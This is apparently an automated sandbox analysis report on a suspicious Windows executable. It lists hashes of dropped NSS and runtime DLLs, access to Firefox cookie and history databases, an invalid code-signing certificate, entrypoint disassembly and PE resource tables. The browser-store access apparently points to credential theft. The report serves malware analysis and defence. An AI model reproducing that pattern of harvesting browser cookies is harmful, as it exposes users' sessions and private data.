Process:	C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.121364264084113
TrID:	Win32 Executable (generic) a (10002005/4) 98.81% Windows ActiveX control (116523/4) 1.15% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	4c469e2cf403fea6249e835ddce23de2.exe
File size:	14'201'936 bytes
MD5:	3988d57be5af6fb461fec4bbd0f747f3
SHA1:	c4ea1473edc170309eb4f0d3b8f753e390ac1553
SHA256:	869deec09d4b035c500fb282df367e622f3e75e39fef3f6cd674fb1d1dca7b09
SHA512:	01cc125096db783d42ec1d82ccb896e5286f5aab6523e8931d41cc57979825738e80a8c57c14b09f19a7d50761cce5b7ace80837cf00bfae27d8ac4ebf5e9487
SSDEEP:	196608:7kOSXo+Hu/GindojDIg9Cbk/V81OWa4l7:7kO6vHJDiZj
TLSH:	60E66B387E0D8C97D09A2C70A472D7B8156FBEA0B6BB00AB21E07E6FB571343543955B
File Content Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........C..."..."..."..E=..."...T!.."...T..."...Z<.."...Z;.."...T...#......."...Z,.."..."...!......."...T..."...T%.."..."(.."...T"..".

File Icon


Icon Hash:	49598b2159e16117

Static PE Info

General

Entrypoint:	0x56751d
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x60A26F40 [Mon May 17 13:27:28 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	fea5523c7b0a9323cabc7fbe642cf630

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert EV Code Signing CA (SHA2), OU=www.digicert.com, O=DigiCert Inc, C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	23/02/2021 00:00:00 26/04/2024 00:59:59
Subject Chain	CN="FabulaTech, LLP", O="FabulaTech, LLP", L=London, C=GB, SERIALNUMBER=OC333740, OID.2.5.4.15=Private Organization, OID.1.3.6.1.4.1.311.60.2.1.3=GB
Version:	3
Thumbprint MD5:	167CF2E75327895339D5E1C1867AE9F0
Thumbprint SHA-1:	BE4B64FD3FAE3DE07EB8A795D6266664BDDB6CA0
Thumbprint SHA-256:	614FC868DD0D8CF2E6E82E0A4E9A7AC5E3AE1F723365B8310BAC14FD3D85EB05
Serial:	0100778BE233C3EADA78D3AA8E7ECC3A

Entrypoint Preview

Instruction
call 00007F43B07ED75Eh
jmp 00007F43B07E49FEh
cmp ecx, dword ptr [005F8430h]
jne 00007F43B07E4B74h
rep ret
jmp 00007F43B07ED7E5h
mov eax, dword ptr [ecx+04h]
test eax, eax
jne 00007F43B07E4B77h
mov eax, 005C6DB4h
ret
mov edi, edi
push ebp
mov ebp, esp
cmp dword ptr [ebp+08h], 00000000h
push edi
mov edi, ecx
je 00007F43B07E4B9Fh
push esi
push dword ptr [ebp+08h]
call 00007F43B07E77DBh
lea esi, dword ptr [eax+01h]
push esi
call 00007F43B07E50BDh
pop ecx
pop ecx
mov dword ptr [edi+04h], eax
test eax, eax
je 00007F43B07E4B83h
push dword ptr [ebp+08h]
push esi
push eax
call 00007F43B07E8E39h
add esp, 0Ch
mov byte ptr [edi+08h], 00000001h
pop esi
pop edi
pop ebp
retn 0004h
mov edi, edi
push esi
mov esi, ecx
cmp byte ptr [esi+08h], 00000000h
je 00007F43B07E4B7Bh
push dword ptr [esi+04h]
call 00007F43B07E5050h
pop ecx
and dword ptr [esi+04h], 00000000h
mov byte ptr [esi+08h], 00000000h
pop esi
ret
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov esi, ecx
and dword ptr [esi+04h], 00000000h
mov dword ptr [esi], 005C6DACh
mov byte ptr [esi+08h], 00000000h
push dword ptr [eax]
call 00007F43B07E4AF7h
mov eax, esi
pop esi
pop ebp
retn 0004h
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword ptr [ebp+08h]
push edi
mov edi, ecx
cmp edi, esi
je 00007F43B07E4B8Fh
call 00007F43B07E4B1Bh
cmp byte ptr [esi+08h], 00000000h
je 00007F43B07E4B7Eh
push dword ptr [esi+00h]

Rich Headers

Programming Language:

[ C ] VS98 (6.0) build 8168
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[C++] VS2008 SP1 build 30729
[C++] VS2010 build 30319
[ C ] VS2010 SP1 build 40219
[IMP] VS2008 SP1 build 30729
[C++] VS2010 SP1 build 40219
[RES] VS2010 build 30319
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1f0324	0x1a4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x207000	0x8f4f98	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xd89800	0x1c50	.reloc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xafc000	0x2356a	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x19eec0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x19e000	0xa48	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x19cc68	0x19ce00	4c8e36eb862f08761053d86d5de6f8df	False	0.5343136211398728	data	6.572221793714774	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x19e000	0x55b2c	0x55c00	1d224bda973c92ef57aa9ed68ddc0d52	False	0.26795394497084546	data	5.035106521969587	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1f4000	0x1287c	0x6c00	f4cb8d2524da91116eea51c6ca2f5963	False	0.28034577546296297	data	4.825576195427523	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x207000	0x8f4f98	0x8f5000	8bb856b8242c4e8b52d43f328df5cc55	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xafc000	0x29ae00	0x29ae00	145e85c32f4334ae478bf90df273a0f7	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
AVI	0x220cf4	0x1fe00	RIFF (little-endian) data, AVI, 56 x 56, 10.00 fps, video: uncompressed	English	United States	0.03991268382352941
PNG	0x240af4	0x77	PNG image data, 4 x 4, 8-bit/color RGB, non-interlaced	English	United States	0.9915966386554622
PNG	0x240b6c	0x2f5	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	English	United States	1.0145310435931307
PNG	0x240e64	0x301	PNG image data, 70 x 31, 8-bit/color RGBA, non-interlaced	English	United States	1.0143042912873863
PNG	0x241168	0x287	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	English	United States	1.017001545595054
PNG	0x2413f0	0x36e	PNG image data, 22 x 40, 8-bit/color RGB, non-interlaced	English	United States	1.0125284738041003
PNG	0x241760	0x15d	PNG image data, 55 x 22, 8-bit/color RGBA, non-interlaced	English	United States	1.0315186246418337
PNG	0x2418c0	0x13e	PNG image data, 55 x 22, 8-bit/color RGBA, non-interlaced	English	United States	1.0345911949685536
PNG	0x241a00	0x115	PNG image data, 30 x 24, 8-bit/color RGB, non-interlaced	English	United States	1.03971119133574
PNG	0x241b18	0x12a	PNG image data, 20 x 40, 8-bit/color RGBA, non-interlaced	English	United States	1.0302013422818792
PNG	0x241c44	0x20c	PNG image data, 10 x 28, 8-bit/color RGB, non-interlaced	English	United States	1.0209923664122138
PNG	0x241e50	0xfd	PNG image data, 10 x 28, 8-bit/color RGB, non-interlaced	English	United States	1.0276679841897234
PNG	0x241f50	0xa6	PNG image data, 7 x 7, 8-bit/color RGB, non-interlaced	English	United States	1.0120481927710843
PNG	0x241ff8	0x7c	PNG image data, 3 x 11, 8-bit/color RGBA, non-interlaced	English	United States	0.9919354838709677
PNG	0x242074	0x96	PNG image data, 9 x 8, 8-bit/color RGB, non-interlaced	English	United States	1.0133333333333334
PNG	0x24210c	0x91	PNG image data, 9 x 8, 8-bit/color RGB, non-interlaced	English	United States	1.006896551724138
PNG	0x2421a0	0x84	PNG image data, 15 x 3, 8-bit/color RGB, non-interlaced	English	United States	0.9848484848484849
PNG	0x242224	0xa3	PNG image data, 7 x 7, 8-bit/color RGB, non-interlaced	English	United States	1.0122699386503067
PNG	0x2422c8	0x771	PNG image data, 13 x 156, 8-bit/color RGB, non-interlaced	English	United States	1.005774278215223
PNG	0x242a3c	0x697	PNG image data, 52 x 268, 8-bit/color RGBA, non-interlaced	English	United States	1.006520450503853
PNG	0x2430d4	0x342	PNG image data, 30 x 16, 8-bit/color RGBA, non-interlaced	English	United States	1.013189448441247
PNG	0x243418	0x45f	PNG image data, 24 x 72, 8-bit/color RGB, non-interlaced	English	United States	1.0098302055406614
PNG	0x243878	0x1a3	PNG image data, 20 x 12, 8-bit/color RGBA, non-interlaced	English	United States	1.026252983293556
PNG	0x243a1c	0xac8	PNG image data, 24 x 132, 8-bit/color RGBA, non-interlaced	English	United States	1.0039855072463768
PNG	0x2444e4	0x37c	PNG image data, 8 x 88, 8-bit/color RGBA, non-interlaced	English	United States	1.0123318385650224
PNG	0x244860	0xa50	PNG image data, 24 x 132, 8-bit/color RGBA, non-interlaced	English	United States	1.0041666666666667
PNG	0x2452b0	0x48e	PNG image data, 9 x 88, 8-bit/color RGBA, non-interlaced	English	United States	1.009433962264151
PNG	0x245740	0xa50	PNG image data, 24 x 132, 8-bit/color RGBA, non-interlaced	English	United States	1.0041666666666667
PNG	0x246190	0x380	PNG image data, 8 x 88, 8-bit/color RGBA, non-interlaced	English	United States	1.0122767857142858
PNG	0x246510	0xab0	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.0040204678362572
PNG	0x246fc0	0xb1f	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.0038637161924833
PNG	0x247ae0	0xa8e	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.0040710584752035
PNG	0x248570	0xb30	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.003840782122905
PNG	0x2490a0	0x3a6	PNG image data, 48 x 12, 8-bit/color RGBA, non-interlaced	English	United States	1.011777301927195
PNG	0x249448	0x111b	PNG image data, 38 x 114, 8-bit/color RGBA, non-interlaced	English	United States	1.0025119890385932
PNG	0x24a564	0x3d1	PNG image data, 23 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.0112589559877174
PNG	0x24a938	0x21b	PNG image data, 11 x 88, 8-bit/color RGB, non-interlaced	English	United States	1.0204081632653061
PNG	0x24ab54	0xb12	PNG image data, 50 x 273, 8-bit/color RGBA, non-interlaced	English	United States	1.003881439661256
PNG	0x24b668	0x7ac	PNG image data, 50 x 162, 8-bit/color RGBA, non-interlaced	English	United States	1.005600814663951
PNG	0x24be14	0xd43	PNG image data, 50 x 264, 8-bit/color RGB, non-interlaced	English	United States	1.003240058910162
PNG	0x24cb58	0x3a4	PNG image data, 22 x 88, 8-bit/color RGBA, non-interlaced	English	United States	1.011802575107296
PNG	0x24cefc	0x320	PNG image data, 14 x 246, 8-bit/color RGBA, non-interlaced	English	United States	1.01375
PNG	0x24d21c	0x31f	PNG image data, 14 x 246, 8-bit/color RGBA, non-interlaced	English	United States	1.0137672090112642
PNG	0x24d53c	0x2bd	PNG image data, 15 x 80, 8-bit/color RGBA, non-interlaced	English	United States	1.0156918687589158
PNG	0x24d7fc	0x273	PNG image data, 15 x 76, 8-bit/color RGBA, non-interlaced	English	United States	1.0175438596491229
PNG	0x24da70	0x2c9	PNG image data, 15 x 84, 8-bit/color RGBA, non-interlaced	English	United States	1.0154277699859748
PNG	0x24dd3c	0x163	PNG image data, 70 x 66, 8-bit/color RGBA, non-interlaced	English	United States	1.0112676056338028
PNG	0x24dea0	0x152	PNG image data, 41 x 36, 8-bit/color RGBA, non-interlaced	English	United States	1.032544378698225
PNG	0x24dff4	0x38a	PNG image data, 64 x 26, 8-bit/color RGBA, non-interlaced	English	United States	1.0121412803532008
PNG	0x24e380	0x532	PNG image data, 64 x 26, 8-bit/color RGBA, non-interlaced	English	United States	1.0082706766917293
PNG	0x24e8b4	0x19c	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	0.8810679611650486
PNG	0x24ea50	0x2296	PNG image data, 72 x 125, 8-bit/color RGBA, non-interlaced	English	United States	1.001242376327084
PNG	0x250ce8	0x69e	PNG image data, 52 x 268, 8-bit/color RGBA, non-interlaced	English	United States	1.0064935064935066
PNG	0x251388	0x1c4	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	0.8252212389380531
PNG	0x25154c	0x522	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.008371385083714
PNG	0x251a70	0x2475	PNG image data, 76 x 125, 8-bit/color RGBA, non-interlaced	English	United States	1.000750026786671
PNG	0x253ee8	0x69e	PNG image data, 52 x 268, 8-bit/color RGBA, non-interlaced	English	United States	1.0064935064935066
PNG	0x254588	0x1c3	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	0.8314855875831486
PNG	0x25474c	0x505	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0085603112840467
PNG	0x254c54	0x24d3	PNG image data, 76 x 125, 8-bit/color RGBA, non-interlaced	English	United States	1.0004243131430997
PNG	0x257128	0x69e	PNG image data, 52 x 268, 8-bit/color RGBA, non-interlaced	English	United States	1.0064935064935066
PNG	0x2577c8	0x1c7	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	0.832967032967033
PNG	0x257990	0x536	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0082458770614693
PNG	0x257ec8	0x24f0	PNG image data, 76 x 125, 8-bit/color RGBA, non-interlaced	English	United States	1.0011632825719121
PNG	0x25a3b8	0x69e	PNG image data, 52 x 268, 8-bit/color RGBA, non-interlaced	English	United States	1.0064935064935066
PNG	0x25aa58	0x1c5	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	0.8388520971302428
PNG	0x25ac20	0x4d9	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.008863819500403
PNG	0x25b0fc	0x23d3	PNG image data, 76 x 125, 8-bit/color RGBA, non-interlaced	English	United States	1.0
PNG	0x25d4d0	0x189	PNG image data, 100 x 34, 8-bit/color RGBA, non-interlaced	English	United States	1.0279898218829517
PNG	0x25d65c	0x1bc	PNG image data, 100 x 136, 8-bit/color RGBA, non-interlaced	English	United States	0.7027027027027027
PNG	0x25d818	0x69e	PNG image data, 52 x 268, 8-bit/color RGBA, non-interlaced	English	United States	1.0064935064935066
PNG	0x25deb8	0x1c4	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	0.827433628318584
PNG	0x25e07c	0x4ef	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0087094220110848
PNG	0x25e56c	0x23a2	PNG image data, 76 x 125, 8-bit/color RGBA, non-interlaced	English	United States	1.0007673755755317
PNG	0x260910	0xc5	PNG image data, 3 x 26, 8-bit/color RGBA, non-interlaced	English	United States	1.0253807106598984
PNG	0x2609d8	0x69e	PNG image data, 52 x 268, 8-bit/color RGBA, non-interlaced	English	United States	1.0064935064935066
PNG	0x261078	0x1ba	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	0.8212669683257918
PNG	0x261234	0x4e4	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0087859424920127
PNG	0x261718	0x250f	PNG image data, 76 x 125, 8-bit/color RGBA, non-interlaced	English	United States	1.0005270369979973
PNG	0x263c28	0x69e	PNG image data, 52 x 268, 8-bit/color RGBA, non-interlaced	English	United States	1.0064935064935066
PNG	0x2642c8	0x1c2	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	0.8288888888888889
PNG	0x26448c	0x4e9	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0087509944311854
PNG	0x264978	0x23c6	PNG image data, 76 x 125, 8-bit/color RGBA, non-interlaced	English	United States	1.000436776588775
PNG	0x266d40	0xb5	PNG image data, 15 x 15, 8-bit/color RGB, non-interlaced	English	United States	1.0165745856353592
PNG	0x266df8	0x186	PNG image data, 100 x 34, 8-bit/color RGBA, non-interlaced	English	United States	1.028205128205128
PNG	0x266f80	0x1b5	PNG image data, 100 x 136, 8-bit/color RGBA, non-interlaced	English	United States	0.6864988558352403
PNG	0x267138	0x66	PNG image data, 1 x 46, 8-bit/color RGBA, non-interlaced	English	United States	0.9803921568627451
PNG	0x2671a0	0xf9	PNG image data, 90 x 12, 8-bit/color RGBA, non-interlaced	English	United States	1.0321285140562249
PNG	0x26729c	0x17c3	PNG image data, 86 x 240, 8-bit/color RGBA, non-interlaced	English	United States	0.992931119513398
PNG	0x268a60	0x283	PNG image data, 86 x 8, 8-bit/color RGBA, non-interlaced	English	United States	1.0171073094867806
PNG	0x268ce4	0x71	PNG image data, 5 x 8, 8-bit/color RGBA, non-interlaced	English	United States	0.9823008849557522
PNG	0x268d58	0x71d	PNG image data, 16 x 48, 8-bit/color RGBA, non-interlaced	English	United States	1.0060406370126305
PNG	0x269478	0x794	PNG image data, 16 x 48, 8-bit/color RGBA, non-interlaced	English	United States	1.0056701030927835
PNG	0x269c0c	0x284	PNG image data, 7 x 39, 8-bit/color RGBA, non-interlaced	English	United States	1.0170807453416149
PNG	0x269e90	0x203	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	English	United States	1.021359223300971
PNG	0x26a094	0x1b5	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	English	United States	1.0251716247139588
PNG	0x26a24c	0xb2	PNG image data, 2 x 20, 8-bit/color RGB, non-interlaced	English	United States	1.0168539325842696
PNG	0x26a300	0xd1	PNG image data, 11 x 11, 8-bit/color RGBA, non-interlaced	English	United States	0.9760765550239234
PNG	0x26a3d4	0x21c	PNG image data, 21 x 42, 8-bit/color RGBA, non-interlaced	English	United States	1.0203703703703704
PNG	0x26a5f0	0x21c	PNG image data, 21 x 42, 8-bit/color RGBA, non-interlaced	English	United States	1.0203703703703704
PNG	0x26a80c	0x1ae	PNG image data, 21 x 84, 8-bit/color RGBA, non-interlaced	English	United States	1.0186046511627906
PNG	0x26a9bc	0x13a	PNG image data, 16 x 56, 8-bit/color RGBA, non-interlaced	English	United States	1.0222929936305734
PNG	0x26aaf8	0x13f	PNG image data, 21 x 84, 8-bit/color RGBA, non-interlaced	English	United States	1.0344827586206897
PNG	0x26ac38	0x135	PNG image data, 16 x 56, 8-bit/color RGBA, non-interlaced	English	United States	0.9967637540453075
PNG	0x26ad70	0xdb	PNG image data, 21 x 84, 8-bit/color RGBA, non-interlaced	English	United States	1.0228310502283104
PNG	0x26ae4c	0xc6	PNG image data, 16 x 56, 8-bit/color RGBA, non-interlaced	English	United States	1.0252525252525253
PNG	0x26af14	0x1a9	PNG image data, 21 x 84, 8-bit/color RGBA, non-interlaced	English	United States	1.0141176470588236
PNG	0x26b0c0	0x19b	PNG image data, 16 x 56, 8-bit/color RGBA, non-interlaced	English	United States	1.0194647201946472
PNG	0x26b25c	0x2296	PNG image data, 72 x 125, 8-bit/color RGBA, non-interlaced	English	United States	1.001242376327084
PNG	0x26d4f4	0x13e	PNG image data, 72 x 15, 8-bit/color RGB, non-interlaced	English	United States	1.0345911949685536
PNG	0x26d634	0x115	PNG image data, 30 x 24, 8-bit/color RGB, non-interlaced	English	United States	1.03971119133574
PNG	0x26d74c	0x83	PNG image data, 35 x 3, 8-bit/color RGB, non-interlaced	English	United States	1.0076335877862594
PNG	0x26d7d0	0xce	PNG image data, 7 x 7, 8-bit/color RGB, non-interlaced	English	United States	1.0242718446601942
PNG	0x26d8a0	0xb30	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.003840782122905
PNG	0x26e3d0	0x25f	PNG image data, 72 x 22, 8-bit/color RGBA, non-interlaced	English	United States	1.0181219110378912
PNG	0x26e630	0x79	PNG image data, 4 x 4, 8-bit/color RGB, non-interlaced	English	United States	0.9752066115702479
PNG	0x26e6ac	0x170	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	English	United States	0.9755434782608695
PNG	0x26e81c	0x26b	PNG image data, 70 x 31, 8-bit/color RGBA, non-interlaced	English	United States	1.0177705977382876
PNG	0x26ea88	0x105	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	English	United States	0.9731800766283525
PNG	0x26eb90	0xe6	PNG image data, 22 x 38, 8-bit/color RGB, non-interlaced	English	United States	1.0260869565217392
